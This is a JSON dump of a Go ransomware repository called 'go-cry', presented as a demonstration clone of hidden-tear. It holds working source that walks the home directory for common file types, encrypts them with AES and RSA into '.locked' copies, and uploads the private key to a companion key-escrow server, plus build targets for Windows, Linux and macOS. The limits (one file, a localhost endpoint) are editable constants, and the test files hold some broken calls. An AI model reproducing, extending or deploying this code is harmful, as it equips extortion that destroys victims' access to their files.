[
  {
    "path": "README.md",
    "content": "# go-cry\n\n>some do not seem to understand that this is not even close to being complete, and manage to build a system that processes payments for this then you are probably able to write this on their own. I could say that this was a program that encrypts some of your files and stores it on a server and you would not bother\n\nThis project was written to show how easy it is to create extremely malicious code.\n\nRansomware is designed to take your most loved files hostage demanding large amounts of money to unlock them.\n\nClone of [native-tear](https://github.com/redpois0n/native-tear/) written in Go which is a clone of [hidden-tear](https://github.com/utkusen/hidden-tear/)\n\n## Building\n\ngo-cry consists of two parts, a webserver and the client software.\nOutput files will be placed in `./bin/`\n\nBuilt with linker flags `-w -s` to minimize file size. To further reduce the size of Go binaries, please see the [UPX project](https://upx.github.io/)\n\n### Building client and webserver\n```\n$ make\n```\n\nWill create the files\n- `./bin/web[.exe]`\n- `./bin/cry[.exe]`\n\n\n### Building client for all common operating systems and architectures\n```\n$ make all\n```\n\nWill create the files\n- `./bin/windows_amd64.exe`\n- `./bin/windows_x86.exe`\n- `./bin/linux_amd64`\n- `./bin/linux_x86`\n- `./bin/macos` (amd64)\n\n### Cleaning\n\nWill remove all files in the bin directory\n```\n$ make clean\n```\n\n# Configuring\n\n### Web server\nSee [web/web.go](web/web.go) and modify the constant values. They are commented and straight forward.\n\n### Client\nSee [config.go](config.go) and modify the constant values.\n\nIf modifying the RSA key size variable `Bits`, please see `EncryptedHeaderSize`. RSA ciphertext length changes depending on key size used and it is not calculated at runtime.\n\n# This program does not\n\n- Demand any money from the user. It simply encrypts the amount of files specified in [config.go](config.go) \nconstant `ProcessMax` and sends it to the server. Encrypt your files and store your encryption key on your \nserver.\n"
  },
  {
    "path": "comms.go",
    "content": "package main\n\nimport (\n\t\"crypto/rsa\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/url\"\n)\n\n// PostKey sends the private key to the remote serrver\nfunc PostKey(priv *rsa.PrivateKey, id string) error {\n\tkey := Stringify(priv)\n\n\t_, err := http.PostForm(UploadEndpoint, url.Values{\n\t\t\"k\": {key},\n\t\t\"i\": {id},\n\t})\n\n\treturn err\n}\n\nfunc GetKey(id string) (*rsa.PrivateKey, error) {\n\treq, err := http.PostForm(RetrieveEndpoint, url.Values{\n\t\t\"i\": {id},\n\t})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkey := make([]byte, req.ContentLength)\n\n\tio.ReadFull(req.Body, key)\n\n\tpriv, err := DecodeKey(key)\n\n\treturn priv, err\n}\n"
  },
  {
    "path": "comms_test.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n)\n\nfunc TestComms(t *testing.T) {\n\tfmt.Println(\"Generating key...\")\n\n\tpriv := Generate()\n\tstr := Stringify(priv)\n\tfmt.Println(str)\n\n\tfmt.Println(\"Uploading...\")\n\terr := PostKey(priv)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfmt.Println(\"Key uploaded\")\n\n\tfmt.Println(\"Retrieving key...\")\n\tpriv, err = GetKey()\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfmt.Println(Stringify(priv))\n}\n\nfunc TestServer(t *testing.T) {\n\tfmt.Println(\"Sending the same key twice...\")\n\tpriv := Generate()\n\tPostKey(priv)\n\tPostKey(priv)\n}\n"
  },
  {
    "path": "config.go",
    "content": "package main\n\n// Extensions to walk\nvar Extensions = [...]string{\n\t\"txt\",\n\t\"doc\",\n\t\"docx\",\n\t\"xls\",\n\t\"xlsx\",\n\t\"ppt\",\n\t\"pptx\",\n\t\"odt\",\n\t\"jpg\",\n\t\"png\",\n\t\"csv\",\n\t\"sql\",\n\t\"mdb\",\n\t\"sln\",\n\t\"php\",\n\t\"asp\",\n\t\"aspx\",\n\t\"html\",\n\t\"xml\",\n\t\"psd\",\n}\n\n// IgnoreDirs will skip directories that contains the string\nvar IgnoreDirs = [...]string{\n\t\"AppData\",\n\t\".\",\n}\n\nconst (\n\t// LockedExtension to append to file name when encrypted\n\tLockedExtension = \".locked\"\n\n\t// ProcessMax X files, then stop\n\tProcessMax int = 1\n\n\t// KeySize in bytes (AES-256)\n\tKeySize int = 32\n\n\t// Bits Keypair bit size (higher = exponentially slower)\n\tBits int = 1024\n\n\t// EncryptedHeaderSize I don't know how to calculate the length of RSA ciphertext, but with KeySize + aes.BlockSize it'll be 128 bytes\n\t// Check this if changing AES keysize or RSA bit size\n\tEncryptedHeaderSize int = 128\n\n\t// Endpoint web server URL\n\tUploadEndpoint = \"http://localhost:1312/upload\"\n\n\tRetrieveEndpoint = \"http://localhost:1312/retrieve\"\n)\n"
  },
  {
    "path": "crypto_test.go",
    "content": "package main\n\nimport (\n\t\"testing\"\n)\n\nfunc TestCrypto(t *testing.T) {\n\tfile := \"test.docx\"\n\tpriv := Generate()\n\n\tencrypt(file, priv)\n\tdecrypt(file+LockedExtension, priv)\n}\n"
  },
  {
    "path": "decrypt.go",
    "content": "package main\n\nimport (\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"io/ioutil\"\n\n\t\"crypto/sha256\"\n\n\t\"strings\"\n)\n\nfunc decrypt(file string, priv *rsa.PrivateKey) {\n\tdata, err := ioutil.ReadFile(file)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\theader := data[:EncryptedHeaderSize]\n\tlabel := []byte(\"\")\n\n\theader, err = rsa.DecryptOAEP(sha256.New(), rand.Reader, priv, header, label)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tkey := header[:KeySize]\n\tiv := header[KeySize : KeySize+aes.BlockSize]\n\n\tdata = data[EncryptedHeaderSize:]\n\n\tblock, err := aes.NewCipher(key)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcipher := cipher.NewCFBDecrypter(block, iv)\n\tcipher.XORKeyStream(data, data)\n\n\tif strings.HasSuffix(file, LockedExtension) {\n\t\tfile = file[:len(file)-len(LockedExtension)]\n\t}\n\n\tioutil.WriteFile(file, data, 0777) // TODO\n}\n"
  },
  {
    "path": "encrypt.go",
    "content": "package main\n\nimport (\n\t\"crypto/rsa\"\n\t\"io/ioutil\"\n\n\t\"crypto/aes\"\n\t\"crypto/rand\"\n\n\t\"crypto/cipher\"\n\n\t\"crypto/sha256\"\n)\n\nfunc encrypt(file string, priv *rsa.PrivateKey) {\n\tdata, err := ioutil.ReadFile(file)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tkey := make([]byte, KeySize)\n\trand.Read(key)\n\n\tiv := make([]byte, aes.BlockSize)\n\trand.Read(iv)\n\n\theader := append(key, iv...)\n\tpub := priv.PublicKey\n\n\tlabel := []byte(\"\")\n\theader, err = rsa.EncryptOAEP(sha256.New(), rand.Reader, &pub, header, label)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tcipher := cipher.NewCFBEncrypter(block, iv)\n\tcipher.XORKeyStream(data, data)\n\n\tdata = append(header, data...)\n\n\tioutil.WriteFile(file+LockedExtension, data, 0777)\n}\n"
  },
  {
    "path": "home_unix.go",
    "content": "// +build !windows\n\npackage main\n\nimport (\n\t\"os\"\n)\n\nfunc GetHomeDir() string {\n\treturn os.Getenv(\"HOME\")\n}\n"
  },
  {
    "path": "home_windows.go",
    "content": "package main\n\nimport (\n\t\"os\"\n)\n\nfunc GetHomeDir() string {\n\thome := os.Getenv(\"HOMEDRIVE\") + os.Getenv(\"HOMEPATH\")\n\n\tif home == \"\" {\n\t\thome = os.Getenv(\"USERPROFILE\")\n\t}\n\n\treturn home\n}\n"
  },
  {
    "path": "keys.go",
    "content": "package main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/x509\"\n\t\"encoding/pem\"\n)\n\n// Generate new RSA keypair\nfunc Generate() *rsa.PrivateKey {\n\tpriv, err := rsa.GenerateKey(rand.Reader, Bits)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn priv\n}\n\n// Stringify private key\nfunc Stringify(priv *rsa.PrivateKey) string {\n\tprivateKeyDer := x509.MarshalPKCS1PrivateKey(priv)\n\tprivateKeyBlock := pem.Block{\n\t\tType:    \"RSA PRIVATE KEY\",\n\t\tHeaders: nil,\n\t\tBytes:   privateKeyDer,\n\t}\n\n\treturn string(pem.EncodeToMemory(&privateKeyBlock))\n}\n\n// DecodeKey\nfunc DecodeKey(key []byte) (*rsa.PrivateKey, error) {\n\tblock, _ := pem.Decode([]byte(key))\n\n\tpriv, err := x509.ParsePKCS1PrivateKey(block.Bytes)\n\n\treturn priv, err\n}\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n)\n\n// GenerateID generates the unique identifier\nfunc GenerateID() string {\n\tr := make([]byte, 32)\n\trand.Read(r)\n\n\thash := sha256.New()\n\n\treturn hex.EncodeToString(hash.Sum(r))\n}\n\nfunc main() {\n\tidFile, err := os.Open(\"id.txt\")\n\n\tvar priv *rsa.PrivateKey\n\n\tshouldEncrypt := false\n\n\t// File exists, read id and get key from server\n\tif err == nil {\n\t\tidBytes, err := ioutil.ReadAll(idFile)\n\t\tidFile.Close()\n\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tid := string(idBytes)\n\t\tid = strings.Split(id, \"\\r\\n\")[1]\n\n\t\tGetKey(id)\n\t} else {\n\t\tfmt.Println(\"generating keypair...\")\n\t\tpriv = Generate()\n\t\tshouldEncrypt = true\n\t}\n\n\tfmt.Println()\n\tfmt.Println(Stringify(priv))\n\n\tstartWalk := GetHomeDir()\n\n\tWalk(startWalk, func(filePath string, fileInfo os.FileInfo, isEncrypted bool) {\n\t\tfmt.Println(filePath, \"encrypted\", isEncrypted)\n\n\t\tif shouldEncrypt && !isEncrypted {\n\t\t\tencrypt(filePath, priv)\n\t\t} else if isEncrypted {\n\t\t\tdecrypt(filePath, priv)\n\t\t}\n\t})\n\n\tif shouldEncrypt {\n\t\tid := GenerateID()\n\n\t\tPostKey(priv, id)\n\n\t\tdata := \"# Do not modify this file, it contains your ID matching the encryption key\\r\\n\" + id\n\n\t\tioutil.WriteFile(\"id.txt\", []byte(data), 0777)\n\t}\n}\n"
  },
  {
    "path": "makefile",
    "content": "BUILD=go build -ldflags=\"-w -s\"\n\ndefault: build\n\nbuild:\n\t@echo \"Building cry...\"\n\t$(BUILD) -o bin/cry.exe\n\t@echo \"Building server...\"\n\tcd web/ && $(BUILD) -o ../bin/web.exe\n\nclean:\n\t@rm -rf bin/\n\t@rm -f debug debug.test web/debug web/debug.test\n\nall:\n\tGOOS=windows GOARCH=amd64 $(BUILD) -o bin/windows_amd64.exe\n\tGOOS=windows GOARCH=386 $(BUILD) -o bin/windows_x86.exe\n\tGOOS=linux GOARCH=amd64 $(BUILD) -o bin/linux_amd64\n\tGOOS=linux GOARCH=386 $(BUILD) -o bin/linux_x86\n\tGOOS=darwin GOARCH=amd64 $(BUILD) -o bin/macos\n"
  },
  {
    "path": "test.docx",
    "content": "test filew"
  },
  {
    "path": "walker.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\n// Walk recursively walks the input directory and applies all rules (extensions, limits etc)\nfunc Walk(startPath string, callback func(filePath string, fileInfo os.FileInfo, isEncrypted bool)) {\n\tvar count int\n\tfilepath.Walk(startPath, func(filePath string, fileInfo os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error\", err.Error())\n\t\t\treturn nil\n\t\t}\n\n\t\tvar proceed bool\n\t\tfor _, v := range Extensions {\n\t\t\tif strings.HasSuffix(filePath, v) || strings.HasSuffix(filePath, LockedExtension) {\n\t\t\t\tproceed = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tfor _, v := range IgnoreDirs {\n\t\t\tif strings.Contains(filepath.Dir(filePath), v) {\n\t\t\t\tproceed = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif proceed && count < ProcessMax {\n\t\t\tcount++\n\n\t\t\tisEncrypted := strings.HasSuffix(filePath, LockedExtension)\n\n\t\t\tcallback(filePath, fileInfo, isEncrypted)\n\t\t}\n\n\t\treturn nil\n\t})\n}\n"
  },
  {
    "path": "web/web.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n)\n\nconst (\n\t// Address server listening address\n\tAddress = \":1312\"\n\n\t// UploadRoute key uploading path\n\tUploadRoute = \"/upload\"\n\n\t// RetrievalRoute\n\tRetrievalRoute = \"/retrieve\"\n)\n\n// Pair private key and computer id\ntype Pair struct {\n\tId  string\n\tKey string\n}\n\n// Keys stored in memory\nvar Keys = []Pair{}\n\nfunc main() {\n\thttp.HandleFunc(UploadRoute, handleUpload)\n\thttp.HandleFunc(RetrievalRoute, handleRetrieve)\n\n\tfmt.Println(\"Listening on\", Address)\n\tlog.Fatal(http.ListenAndServe(Address, nil))\n}\n\nfunc reject(w http.ResponseWriter, r *http.Request, reason string) {\n\tfmt.Println(\"Rejecting \", r.RemoteAddr+\":\", reason)\n\tw.WriteHeader(http.StatusNotFound)\n\tfmt.Fprint(w, http.StatusText(http.StatusNotFound))\n}\n\nfunc handleUpload(w http.ResponseWriter, r *http.Request) {\n\tid := r.PostFormValue(\"i\")\n\tkey := r.PostFormValue(\"k\")\n\n\tif r.Method != \"POST\" {\n\t\treject(w, r, \"HTTP method is not POST, got \"+r.Method)\n\t\treturn\n\t}\n\n\tif id == \"\" {\n\t\treject(w, r, \"id parameter i not set or empty\")\n\t\treturn\n\t}\n\n\tif key == \"\" {\n\t\treject(w, r, \"key parameter k is not set or empty\")\n\t}\n\n\tfor _, pair := range Keys {\n\t\tif pair.Id == id {\n\t\t\treject(w, r, \"key already exists\")\n\t\t\treturn\n\t\t}\n\t}\n\n\tpair := Pair{Id: id, Key: key}\n\tKeys = append(Keys, pair)\n}\n\nfunc handleRetrieve(w http.ResponseWriter, r *http.Request) {\n\tid := r.PostFormValue(\"i\")\n\n\tif r.Method != \"POST\" {\n\t\treject(w, r, \"HTTP method is not POST, got \"+r.Method)\n\t\treturn\n\t}\n\n\tif id == \"\" {\n\t\treject(w, r, \"id parameter i is not set\")\n\t\treturn\n\t}\n\n\tfor _, pair := range Keys {\n\t\tif pair.Id == id {\n\t\t\tfmt.Fprint(w, pair.Key)\n\t\t\treturn\n\t\t}\n\t}\n\n\treject(w, r, \"no key found for id \"+id)\n}\n"
  }
]